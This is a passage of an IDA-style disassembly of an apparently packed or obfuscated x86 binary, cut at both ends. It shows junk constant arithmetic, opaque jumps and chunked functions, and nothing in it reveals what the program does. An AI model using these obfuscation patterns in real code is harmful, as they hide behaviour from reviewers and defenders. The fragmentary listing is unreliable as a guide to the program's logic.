		pop	ecx
		mov	eax, [esp]
		push	edx
		call	sub_43A1FA
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4451BC:				; CODE XREF: sub_448EB6+28F5j
		jl	loc_43D587

loc_4451C2:				; CODE XREF: y22d6.y.:0043A838j
		jmp	sub_449442
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_4451C7:				; CODE XREF: sub_44E51C-14206j
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_44E51C
; ---------------------------------------------------------------------------
		push	73119995h
		add	esi, eax
		jmp	loc_443A49
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AA9

loc_4451DE:				; CODE XREF: sub_449AA9+Ej
		jmp	loc_449213
; END OF FUNCTION CHUNK	FOR sub_449AA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_4451E3:				; CODE XREF: sub_43F501-3D0Aj
		jmp	loc_43D6A9
; END OF FUNCTION CHUNK	FOR sub_43F501
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	al, 24h
		mov	edx, esi
		pop	esi
		jz	loc_44A372
		mov	eax, [esp]
		push	eax
		mov	eax, ebx
		jmp	loc_43F10D
; ---------------------------------------------------------------------------
		push	offset loc_44871C
		jmp	loc_44B87E
; ---------------------------------------------------------------------------

loc_445209:				; CODE XREF: y22d6.y.:0043F010j
		jg	sub_43EFB1
		not	ecx
		jmp	loc_44DD85
; ---------------------------------------------------------------------------

loc_445216:				; CODE XREF: y22d6.y.:0044077Cj
		pop	ecx
		or	ecx, 7E07B5BEh
		xor	ecx, 99FC056h
		add	ecx, 1C9EF3A8h
		or	ecx, 0D4501759h
		add	ecx, 2BCC7952h
		xchg	ecx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_44523D:				; CODE XREF: sub_44BBBA:loc_445DA7j
		sub	edx, 69FA232Ah
		and	edx, 410A2DE7h
		add	edx, 0D4FCB1A4h
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44524F:				; CODE XREF: sub_448EB6:loc_44904Ej
		call	sub_44370B

loc_445254:				; CODE XREF: sub_43BA9E+9848j
		jmp	loc_449BF3
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D460

loc_445259:				; CODE XREF: sub_44D460-BDB9j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44D460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44525E:				; CODE XREF: sub_43C6D7-F27j
		jz	loc_44A7DE
		jmp	loc_438DD5
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_445269:				; CODE XREF: sub_447940+19Ej
		mov	edx, eax
		pop	eax
		sub	edx, 0E9404E5Ah
		rol	edx, 17h
		add	edx, 409365F8h
		cmp	edx, 1D9EAA80h

loc_445281:				; CODE XREF: sub_44439D+82E9j
		jmp	loc_44E2D8
; END OF FUNCTION CHUNK	FOR sub_447940

; =============== S U B	R O U T	I N E =======================================



sub_445286	proc near		; DATA XREF: sub_4432B8-20EAo
		mov	ds:dword_441950, eax
sub_445286	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_444183

loc_44528B:				; CODE XREF: y22d6.y.:0044417Ej
					; y22d6.y.:loc_446E0Aj	...
		call	sub_4392B0

loc_445290:				; CODE XREF: y22d6.y.:004487F7j
		jmp	loc_4483A9
; END OF FUNCTION CHUNK	FOR sub_444183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_445295:				; CODE XREF: sub_4432B8+1D7Aj
		jmp	loc_4484EA
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_44529A	proc near		; DATA XREF: y22d6.y.:00437DF9o

; FUNCTION CHUNK AT 0043E949 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F13D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044010E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440596 SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		mov	ecx, eax
		pop	eax
		xor	ecx, 0EA762526h
		add	ecx, 0DD7016E6h
		cmp	ecx, 17099300h
		jmp	loc_43F13D
sub_44529A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4452B7:				; CODE XREF: sub_44E5C7-15C90j
					; sub_4432B8+147Ej
		jnp	loc_4463C9

loc_4452BD:				; CODE XREF: sub_43ED4E:loc_44B8C9j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43BE5E
		jmp	loc_4399DA
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_4452CE:				; CODE XREF: sub_43BA9E-1FB5j
		sbb	ecx, 0A8FEED80h
		pushf
		add	edx, ecx
		adc	eax, 0CD8E4183h

loc_4452DD:				; CODE XREF: sub_43BA9E:loc_438161j
		push	0C4B74A99h
		pop	eax
		rol	eax, 15h
		jmp	loc_445254
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------

loc_4452EB:				; CODE XREF: y22d6.y.:00438CC3j
		ror	ebx, 11h

; =============== S U B	R O U T	I N E =======================================



sub_4452EE	proc near		; CODE XREF: sub_43C55B+10C21p

; FUNCTION CHUNK AT 00438DE1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439A05 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00439C77 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B81D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E4E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EFA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044762A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004491C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044B32A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044C074 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD0C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044DE93 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx

loc_4452F2:				; CODE XREF: y22d6.y.:0043E1CFj
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_44C074
sub_4452EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB31

loc_4452FC:				; CODE XREF: sub_43AB31+Fj
		xor	eax, eax
		mov	[ebp+var_8], eax

loc_445301:				; CODE XREF: sub_43AB31-352Cj
		jno	loc_44B844
		push	offset sub_43F422
		jmp	loc_4435CC
; END OF FUNCTION CHUNK	FOR sub_43AB31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_445311:				; CODE XREF: sub_43B7B5+116F3j
		jno	loc_44E170
		jmp	loc_4425EF
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_44531C:				; CODE XREF: sub_44123E:loc_4465A5j
		or	esi, 0AD48F68h
		and	eax, edi
		jmp	loc_448BB7
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------

loc_445329:				; DATA XREF: sub_44439D+453Fo
		push	76CEE27Ah
		xor	esi, edx
		jmp	loc_437539
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_445335:				; CODE XREF: sub_43B7B5+AAFEj
		ja	loc_44C93D

loc_44533B:				; CODE XREF: sub_43B7B5:loc_440ADEj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_443C34
		jmp	loc_44254E
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44534C:				; CODE XREF: sub_448EB6:loc_43AE07j
		ja	loc_44C9E6
		xor	ebp, esi
		rol	esi, 19h
		jbe	loc_4379C1
		jmp	loc_44B048
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_445362	proc near		; DATA XREF: sub_43B7B5:loc_4425F2o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B74E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E2C9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043F1D3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004479B3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044E441 SIZE 0000000B BYTES

		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43B74E
		jmp	loc_44E441
sub_445362	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_445373:				; CODE XREF: sub_448EB6:loc_4478EFj
		cmp	dword ptr [ebp-4], 0
		jz	loc_438C96
		jmp	loc_43B6C2
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_445382	proc near		; DATA XREF: y22d6.y.:00438E9Bo

; FUNCTION CHUNK AT 0043A2D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B156 SIZE 0000000A BYTES

		push	eax
		mov	eax, edx
		call	sub_44C758
		mov	eax, [esp+0]
		jmp	loc_44B156
sub_445382	endp

; ---------------------------------------------------------------------------
		jnp	loc_44CFE8
		jmp	loc_446F1E
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		jmp	sub_443CFC
; ---------------------------------------------------------------------------

loc_4453A4:				; CODE XREF: y22d6.y.:004390E1j
		jle	loc_443AA1

; =============== S U B	R O U T	I N E =======================================



sub_4453AA	proc near		; CODE XREF: sub_440F6Ap
		xchg	edx, [esp+0]
		pop	edx
		push	ebp
		push	offset sub_443AFF
		jmp	nullsub_311
sub_4453AA	endp

; ---------------------------------------------------------------------------

loc_4453B9:				; CODE XREF: y22d6.y.:loc_449A6Bj
		jz	loc_442F57
		add	edx, ecx
		rol	ebx, 1
		jb	sub_44E1BD
		shl	ebx, 7
		jmp	loc_442F54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E5C

loc_4453D1:				; CODE XREF: sub_441E5C-4BC9j
		push	offset loc_445D58
		jmp	loc_43F1C9
; END OF FUNCTION CHUNK	FOR sub_441E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_4453DB:				; CODE XREF: sub_4383E0:loc_43F1C4j
					; sub_43A4E4:loc_4473CBj
		call	sub_44D088
		call	sub_44A9DF
		or	eax, eax
		jnz	loc_44B64E

loc_4453ED:				; CODE XREF: y22d6.y.:loc_44BDC4j
		jmp	loc_44B970
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------

loc_4453F2:				; DATA XREF: sub_442C0C-1312o
		push	esi
		push	86E9483Bh
		pop	esi
		rol	esi, 15h
		xor	esi, 568F3FC8h
		or	esi, 578C16B7h
		jmp	loc_4473B3

; =============== S U B	R O U T	I N E =======================================



sub_44540D	proc near		; CODE XREF: sub_44B27F-D0C8j
					; DATA XREF: sub_445DB1:loc_43BBA2o

; FUNCTION CHUNK AT 0043DFAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004401C2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044DE1F SIZE 00000026 BYTES

		add	esp, 0FFFFFFECh
		mov	eax, offset dword_446DC0
		call	sub_44B003
		cmp	ds:dword_442A78, 0
		jmp	loc_43DFAE
sub_44540D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_445426:				; CODE XREF: sub_43A6E1+132Aj
		jz	loc_43BF67
		jmp	loc_449032
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4384B4

loc_445431:				; CODE XREF: sub_4384B4+563Cj
		xor	eax, 0C5C4030Eh
		call	sub_444581
		push	eax
		mov	eax, ebx
		jmp	loc_44D3EF
; END OF FUNCTION CHUNK	FOR sub_4384B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_445444:				; CODE XREF: sub_4449FA:loc_443B6Ej
		push	esi
		push	0CC81711Eh
		pop	esi
		xor	esi, 3E95B11Ah
		add	esi, 29D64EABh
		jmp	loc_44069C
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_44545C:				; CODE XREF: sub_442C0C:loc_437AE0j
		push	ecx
		push	esi
		push	0E031CC88h
		pop	esi
		sub	esi, 8281135Bh
		rol	esi, 1Ch
		and	esi, 961D3ABBh
		add	esi, 61F7E832h
		jmp	loc_43AD55
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_44547E:				; CODE XREF: y22d6.y.:loc_437539j
		pop	esi
		rol	esi, 8
		xor	esi, 2E78B8A3h
		add	eax, esi
		jmp	loc_443461
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_44548F:				; CODE XREF: sub_43E5C2+54C0j
		jnp	loc_442CC4
		mov	eax, esi
		push	0F61638D9h

loc_44549C:				; CODE XREF: sub_43E5C2:loc_44DC3Bj
		add	esi, 41255CB0h
		popf
		call	sub_443CFC
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4454A8:				; CODE XREF: sub_438B66-13CEj
		adc	ebx, 0E9068CF3h
		push	eax

loc_4454AF:				; CODE XREF: sub_438B66:loc_4483FCj
		movzx	eax, word ptr [ebp-6]
		push	0A2AA33D4h
		pop	edx
		sub	edx, 1A50D7CBh
		and	edx, 44FBE4C5h
		xor	edx, ds:4000EBh
		jmp	loc_4448DB
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Ah
		push	esi
		push	7E06C5BDh
		pop	esi
		xor	esi, 0F87DEEEFh
		cmp	esi, 5318D911h
		jmp	loc_43706C
; ---------------------------------------------------------------------------

loc_4454EC:				; CODE XREF: y22d6.y.:0043C1B3j
		call	sub_442060
		mov	eax, 7DA6ACC0h
		push	esi
		push	3725B1A5h
		pop	esi
		jmp	loc_439581
; ---------------------------------------------------------------------------
		mov	eax, [edi]
		push	15D899h
		jmp	sub_443258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A53A

loc_44550E:				; CODE XREF: sub_44A53A-AF60j
		jge	loc_447906
; END OF FUNCTION CHUNK	FOR sub_44A53A
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_445514:				; CODE XREF: sub_4425E0-65F4j
		jmp	loc_44CB8E
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------
		add	edi, 87B62FF5h
		ror	edi, 1Ah
		jnb	loc_44AFB3
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_445528:				; CODE XREF: sub_43C712:loc_442691j
		jmp	loc_447906
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44552D:				; CODE XREF: sub_4432B8+FEj
		and	ebx, 6A77146Bh
		rol	ebx, 0Ah
		add	ebx, 0E443A944h
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_449044
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		push	edi
		push	0BED24803h
		jmp	loc_447332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AC9

loc_44554F:				; CODE XREF: sub_443AC9+12j
		add	eax, 2D88367Fh
		sub	eax, 1FD11170h
		add	eax, 929586EAh
		xchg	eax, [esp+4+var_4]
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_443AC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_445569:				; CODE XREF: sub_43837F:loc_43AC7Ej
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_44BD75
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		jmp	loc_44A515
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD44

loc_445586:				; CODE XREF: sub_43BD44+Ej
		add	edi, 0E2F35203h
		rol	ecx, 1Dh

loc_44558F:				; CODE XREF: y22d6.y.:00445693j
		xor	eax, 70FD0B7Ah
		or	eax, 8DD3EE6h
		xor	eax, 0F4273F5Ch
		push	edi
		jmp	loc_44CD1F
; END OF FUNCTION CHUNK	FOR sub_43BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_4455A7:				; CODE XREF: sub_44A359-6673j
		and	ebx, edx

loc_4455A9:				; CODE XREF: sub_44A359:loc_445B6Bj
		mov	eax, 0BB0E1C2h
		call	sub_43CA1A
		rol	eax, 12h
		push	esi
		push	0AA3DDBB6h
		pop	esi
		jmp	loc_43FC35
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4455C2:				; CODE XREF: sub_4432B8:loc_4484C1j
		xchg	ecx, esi
		or	ecx, 417BAA30h
		jmp	loc_440C91
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444871

loc_4455CF:				; CODE XREF: sub_444871-B9FBj
		and	ecx, 1E8DC8D1h
		add	ecx, 60B2BECh
		xor	eax, ecx
		pop	ecx
		call	sub_440D11

loc_4455E3:				; CODE XREF: sub_448EB6+132j
		jmp	loc_444700
; END OF FUNCTION CHUNK	FOR sub_444871
; ---------------------------------------------------------------------------

loc_4455E8:				; CODE XREF: y22d6.y.:00443648j
		jmp	loc_44D4CB

; =============== S U B	R O U T	I N E =======================================



sub_4455ED	proc near		; CODE XREF: sub_444C6B+7p
		xchg	eax, [esp+0]
		pop	eax
		push	edx
		mov	edx, edi
		call	sub_44BADD
		adc	ebx, 298C79A4h
		jmp	sub_44D22A
sub_4455ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_445604	proc near		; DATA XREF: sub_43FDBB+Ao
		call	sub_44C171
		mov	ds:dword_4413B0, eax

loc_44560E:				; CODE XREF: y22d6.y.:0044D788j
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_44D088
sub_445604	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43EC92

loc_445618:				; CODE XREF: sub_43EC92+Dj
		push	9DF9B166h
		pop	eax
		jmp	loc_43E9EC
; END OF FUNCTION CHUNK	FOR sub_43EC92
; ---------------------------------------------------------------------------
		push	edx
		jmp	sub_43DD60

; =============== S U B	R O U T	I N E =======================================



sub_445629	proc near		; CODE XREF: y22d6.y.:loc_438379j
					; y22d6.y.:0043C29Aj ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A274 SIZE 0000001A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		push	esi
		jmp	loc_43A274
sub_445629	endp


; =============== S U B	R O U T	I N E =======================================



sub_44563C	proc near		; CODE XREF: y22d6.y.:00443BCDj
					; sub_44051D+C7D9p

; FUNCTION CHUNK AT 0043856D SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		jmp	loc_43856D
sub_44563C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44564C:				; CODE XREF: sub_44DB81-12A6Aj
		ja	loc_440B36
		jz	loc_44C616
		jmp	loc_44E044
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_44565D:				; CODE XREF: sub_439051+379Fj
		jge	loc_442749
		test	edx, 1DD7499h
		jmp	loc_4490BD
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44566E:				; CODE XREF: sub_4385ED+9E84j
		push	eax
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		add	eax, [esp+4+var_4]
		adc	edx, [esp+4]
		jmp	loc_43CFE1
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
		push	99F9A7C8h
		pop	eax
		add	eax, 0F3087527h
		and	eax, 0F6D2AAEAh
		jnz	loc_44558F
		or	ebx, 0BC4DAF7Dh
		jnp	loc_4383EB
		jmp	loc_43BD50
; ---------------------------------------------------------------------------

loc_4456AA:				; DATA XREF: sub_437890+7o
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43E2F2
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4456B4:				; CODE XREF: sub_4432B8:loc_443394j
		jmp	loc_43B448
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		xor	ebp, esi
		jmp	loc_441D57
; ---------------------------------------------------------------------------

loc_4456C0:				; CODE XREF: y22d6.y.:00446032j
		xor	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_4456C2	proc near		; CODE XREF: y22d6.y.:00444629p

; FUNCTION CHUNK AT 00440340 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_440340
sub_4456C2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_437901

loc_4456D0:				; CODE XREF: y22d6.y.:loc_4418A7j
					; sub_437901:loc_4457D1j ...
		jmp	loc_437951
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_4456D5:				; CODE XREF: sub_44DB81+4D5j
		jz	loc_4380D3
		jmp	loc_44DEDF
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_4456E0:				; CODE XREF: sub_43E185+3DAFj
		test	eax, 58275048h
		jmp	loc_439DD9
; END OF FUNCTION CHUNK	FOR sub_43E185

; =============== S U B	R O U T	I N E =======================================



sub_4456EB	proc near		; DATA XREF: sub_44633F-A3F9o
		add	edx, 2AE9BE43h
		add	eax, edx
		push	offset sub_4431CD
		jmp	nullsub_300
sub_4456EB	endp

; ---------------------------------------------------------------------------

loc_4456FD:				; CODE XREF: y22d6.y.:loc_444B04j
		jz	loc_438D00
		jmp	loc_43CDD7
; ---------------------------------------------------------------------------

loc_445708:				; DATA XREF: sub_43DF56+6o
		mov	eax, ds:dword_4425CC
		call	sub_444686
; START	OF FUNCTION CHUNK FOR sub_44A768

loc_445713:				; CODE XREF: sub_44A768+11j
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_44A768
; ---------------------------------------------------------------------------

loc_445718:				; CODE XREF: y22d6.y.:004479FCj
		jmp	loc_43E560

; =============== S U B	R O U T	I N E =======================================



sub_44571D	proc near		; CODE XREF: sub_449442j
					; DATA XREF: sub_43CA1A+CA1Eo

; FUNCTION CHUNK AT 00438C8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043FD89 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440934 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448ACD SIZE 00000005 BYTES

		mov	edx, [ebp-28h]
		mov	[edx], al
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_438C8E
		jmp	loc_448ACD
sub_44571D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441FB5

loc_445736:				; CODE XREF: sub_441FB5:loc_4481AAj
		mov	eax, [eax]
		xchg	eax, [esp-4+arg_0]
		call	eax
		mov	[ebp-4], eax
; END OF FUNCTION CHUNK	FOR sub_441FB5
; START	OF FUNCTION CHUNK FOR sub_440395

loc_445740:				; CODE XREF: y22d6.y.:0043BF8Aj
					; sub_440395:loc_448CEFj ...
		dec	ds:dword_44186C
; END OF FUNCTION CHUNK	FOR sub_440395
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_445746:				; CODE XREF: y22d6.y.:0043BE29j
					; sub_44057E:loc_443100j
		mov	eax, [ebp-4]
		jmp	loc_447CAF
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A91

loc_44574E:				; CODE XREF: sub_444A91+Dj
		pop	edi
		or	edi, 5371415Ah
		xor	edi, 77C65677h
		js	loc_44BE1D

loc_445761:				; CODE XREF: sub_44D6B7+14j
		jmp	sub_43F112
; END OF FUNCTION CHUNK	FOR sub_444A91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442592

loc_445766:				; CODE XREF: sub_442592:loc_44841Dj
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_442592
; ---------------------------------------------------------------------------
		sbb	edx, 81E775DFh
		push	728010CFh
		add	eax, 0F9E8D75h
		jmp	loc_44BE1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_445781:				; CODE XREF: sub_43C55B+155Aj
		jb	loc_44C72F
; END OF FUNCTION CHUNK	FOR sub_43C55B

; =============== S U B	R O U T	I N E =======================================



sub_445787	proc near		; CODE XREF: y22d6.y.:loc_445A50p
		xchg	edi, [esp+0]
		pop	edi
		push	eax
		jmp	loc_43AD50
sub_445787	endp


; =============== S U B	R O U T	I N E =======================================



sub_445791	proc near		; DATA XREF: sub_43F443+5o

; FUNCTION CHUNK AT 004487E4 SIZE 00000005 BYTES

		push	114582BCh
		pop	eax
		sub	eax, 2E2AFC1Eh
		add	eax, 1D2911C4h
		jmp	loc_4487E4
sub_445791	endp

; ---------------------------------------------------------------------------
		jbe	loc_449C37
		jmp	sub_441E1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B81B

loc_4457B3:				; CODE XREF: sub_44B81B:loc_437384j
		pop	edx
		or	eax, 0A1FD7972h
		add	eax, 7D7BC402h
		xor	eax, 403021C2h
		cmp	eax, 5B738C22h
		jmp	loc_43B323
; END OF FUNCTION CHUNK	FOR sub_44B81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_4457D1:				; CODE XREF: sub_437901+F504j
		jo	loc_4456D0
		xor	esi, 6AC78A1Eh
		jmp	loc_44024C
; END OF FUNCTION CHUNK	FOR sub_437901
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_4457E2:				; CODE XREF: sub_44807C-10398j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44024C
		jmp	loc_4376E7
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447D7F

loc_4457F6:				; CODE XREF: sub_447D7F-7782j
		test	esi, 8
		jmp	loc_442FC3
; END OF FUNCTION CHUNK	FOR sub_447D7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_445801:				; CODE XREF: sub_44633F+7A5Cj
		jns	loc_44AD49
		add	eax, 28h
		push	edi
		push	10CE6BE4h
		pop	edi
		sub	edi, 6CA3B01Bh
		cmp	edi, 0DD2DCAF5h
		jmp	loc_43BC38
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_445822:				; CODE XREF: y22d6.y.:00438FFBj
		adc	edi, 751BB8AFh
		jmp	loc_449E4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_44582D:				; CODE XREF: sub_439051:loc_444507j
		jz	loc_437DBD
		xchg	eax, ebp
		sub	edx, ebx
		not	ecx
		jmp	loc_437DBD
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_44583E:				; CODE XREF: sub_44439D+82F3j
		mov	ebx, [edx]

loc_445840:				; CODE XREF: sub_44439D:loc_443AF4j
		push	8A37D364h
		pop	eax
		sub	eax, 60D47230h
		jmp	loc_43B0FD
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_445851:				; CODE XREF: sub_44BCC2-1901j
		jnz	loc_443E3C
		jmp	loc_437FEE
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



